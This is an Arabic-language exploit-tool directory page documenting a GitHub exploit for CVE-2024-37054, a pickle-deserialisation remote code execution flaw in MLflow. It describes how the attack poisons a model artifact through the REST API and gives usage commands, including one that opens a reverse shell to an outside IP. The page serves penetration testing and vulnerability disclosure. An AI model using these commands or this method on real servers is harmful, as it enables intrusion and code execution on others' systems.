Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-37054 — استغلال CVE-2024-37054 والتوثيق | Kitploit
أدوات/GitHubGitHub/tristanqtn/cve-2024-37054
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

استغلال CVE-2024-37054 والتوثيق

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-37054 — ثغرة تنفيذ تعليمات برمجية عن بعد عبر إلغاء تسلسل pyfunc في MLflow

الخطورة: حرجة
المتأثر: MLflow 0.9.0 – 2.14.1
النوع: تنفيذ تعليمات برمجية عشوائية عبر إلغاء تسلسل pickle في بايثون

الوصف

يقوم mlflow.pyfunc.load_model() بإلغاء تسلسل python_model.pkl من مخزن القطع الأثرية دون أي تنقية. يمكن للمهاجم الذي يمكنه الوصول إلى واجهة REST API لمخزن القطع الأثرية في MLflow استبدال هذا الملف بـ pickle ضار، مما يؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية في المرة التالية التي يتم فيها تحميل النموذج.

المتطلبات

root@kitploit:~
pip install requests cloudpickle

الاستخدام

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

الخيارات الرئيسية

العلمالوصف
--mlflow URLعنوان URL الأساسي لخادم تتبع MLflow (مطلوب)
--model NAMEاسم النموذج المسجل — يتم تحديد الأول تلقائيًا إذا تم حذفه
--version Nإصدار النموذج — الافتراضي هو الأحدث
--user / --passبيانات اعتماد المصادقة الأساسية HTTP لـ MLflow
--run-id / --exp-idتجاوز اكتشاف النموذج باستخدام معرّفات معروفة
--trigger-url URLنقطة نهاية التطبيق التي تستدعي load_model() — احذف للرفع فقط
--session COOKIEملف تعريف ارتباط الجلسة المرسل مع طلب المشغل

كيف يعمل

  1. اكتشاف — استعلام /api/2.0/mlflow/registered-models/search للعثور على نموذج و run_id / experiment_id الخاص به
  2. تسميم — إرسال طلب PUT بحمولة cloudpickle ضارة إلى /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. تشغيل — أي مسار تعليمات برمجية يستدعي mlflow.pyfunc.load_model() على ذلك النموذج سيقوم بإلغاء تسلسل الحمولة وتنفيذ الأمر

تتطلب خطوة التشغيل نقطة نهاية تطبيق تقوم بتحميل النموذج. إذا لم يكن أي منها معروفًا، استخدم --no-trigger (أو احذف --trigger-url) وقم بتشغيل التحميل عبر أي وسيلة متاحة.

إخلاء مسؤولية

لأغراض اختبار الاختراق المصرح به والتعليم فقط.

تنزيل الأداة